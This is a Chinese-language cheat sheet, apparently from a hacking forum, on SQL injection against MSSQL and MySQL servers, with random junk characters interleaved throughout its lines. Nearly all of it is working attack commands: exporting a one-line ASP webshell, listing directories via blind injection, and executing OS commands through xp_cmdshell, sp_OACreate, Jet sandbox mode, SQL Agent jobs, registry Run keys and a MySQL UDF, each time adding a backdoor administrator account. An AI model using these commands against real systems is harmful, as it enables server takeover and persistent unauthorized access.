MSSQL语句导出一句话木马
$ k$ T# m. f0 m# o, M6 {, ]首先确定网站的WEB路径
6 J% h! ?' K2 o, d$ {; u& W;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
5 N1 a3 _* i# N) a$ F
; i. K- u9 f8 ~/ P+ [4 u1 N1 Q;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 8 d7 u! x' [: f
//将一句话木马插入表中3 F8 n. r# K; d Y9 f6 o
$ X' h# t8 t' i' g& B$ A7 l;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 8 n& s/ q, g* x7 E$ a
//导出一个ASP文件
& P) l# x/ P3 N2 e7 U( ?. J0 A' D
1 y+ Y" K+ _ q
8 _1 e8 G! N3 M% W4 Z关于MSSQL列目录
2 E% ^- c6 X% z$ G' i- i; b: C;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
+ ^$ c) z. E2 i l" r. UInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
5 m3 R9 p5 d( F* H0 u) K& ^7 V1 m- q: N( a9 {# i
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
9 |) E* x) Y6 W
& O. ], l. l+ ?8 v& K, w0 jAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
1 D$ D3 N x! W, w4 c) i- `, s
- {$ P7 b$ f8 h9 l1 }0 _9 w8 Y: ~And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符( o& {0 p0 w- N& j% [. b5 M
' b a( S+ k# a
: u1 A! i/ Z9 S数据库版本和权限查看
: o8 R; L: G+ r9 j# }9 D( X& Band 1=(select @@VERSION) //查看详细的数据库信息., I4 J# A; C7 v
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA0 V# w9 V% D# `- S) d y: }
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
( k% N6 s) Y" h7 [% \; x& f( }/ `9 B+ D3 ?0 T
# t+ Q2 n: s. k& g( S8 g: L, n, ?
1.利用xp_cmdshell执行命令
1 @ Q4 l! Z4 L7 u% E3 _exec master..xp_cmdshell 'net user rfire 123456 /add'
* z8 g& ~4 H) dexec master..xp_cmdshell 'net localgroup administrators rfire /add'
/ H" R$ y }( \9 A# J
5 h3 J7 I$ o) O) _恢复xp_cmdshell存储过程% w, P1 V. c( f' H# p; k1 s
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
8 }) v& @9 d' K k8 G7 l" e: P) y2 M! ?4 R0 W
5 [0 K: L. K& l! D" E$ T* \2.利用SP_OAcreate和SP_OAMETHOD执行命令
' e! c5 b1 l' c4 u. }5 |在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下2 K& r* _7 B% C6 X0 U2 ^- q
DECLARE @shell INT //建立一个@shell实体$ ?6 i8 a2 X* Q" U0 K8 k
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例( h& H' y( A* L1 L( _0 J
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
) B* J2 _; H: I5 {# S' N7 t" N$ |8 }
1 q' I" U8 k/ j, k1 {3.利用沙盒模式) I( a3 S3 X0 I" p' V: Y& T
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
6 L& c& f0 s3 T# @& _ v+ Y9 r8 F开启沙盒模式:4 X7 ]) g' V u) Q# H7 q5 j7 N
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0$ O R* ]) n: K7 C' f" s. O6 V
+ a* n0 c E7 o8 C7 V) E
执行命令:# N: n( J" ` X$ e8 ?' @
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');+ E& E* m( U4 F8 u
?5 S( V+ D3 Z) q$ s. R: M
" j; K& ]6 N/ K& _5 e m9 \$ R7 Y5 F
4.利用SQL代理执行命令 [; {; S# n/ L4 H5 f/ i
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
* @& t j3 T4 G% X1 u2 F) |0 N* H( V' i; w# o0 {& D: @
执行命令:9 k% \5 `3 Y6 f& y4 Z' C
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
2 M, G X' E! C: q8 Rexec sp_add_job 'x'% x1 I* U2 j9 W: Y
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
/ R& [3 T) V: T5 U* Zexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
4 n5 M# N' [9 ?6 {9 g x) Z( o# ~* z3 X: X$ ?
/ R3 b1 h- }7 l+ V
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)0 E4 r2 ]3 [! ~, K) P- ]
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
1 m% h( U) ?. t" y& a9 }0 @. w
* R4 |. r5 W' j: H! B
5 Z2 W* |$ C+ h j* \6.MYSQL的命令执行! n; L' l# G E" v) Z! M7 B
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
8 a ^5 P3 J2 Y& D! Z首先要在su.php下导出c:\windows\udf.dll+ ?8 y+ L0 X% A; A
导出后执行创建自定义函数命令:7 Z5 s3 ^/ x1 y2 w) j1 z3 Y
Create Function cmdshell returns string soname 'udf.dll'
8 m+ V$ {) z2 i: y执行命令
+ o% }+ A. T R- Q o) a$ Dselect cmdshell('net user rfire 123456 /add')
9 V! n7 d; W- u. p. N, B执行后删除函数 drop function cmdshell
2 E U2 U4 G/ {9 e$ T/ ^% g9 j# W; @ |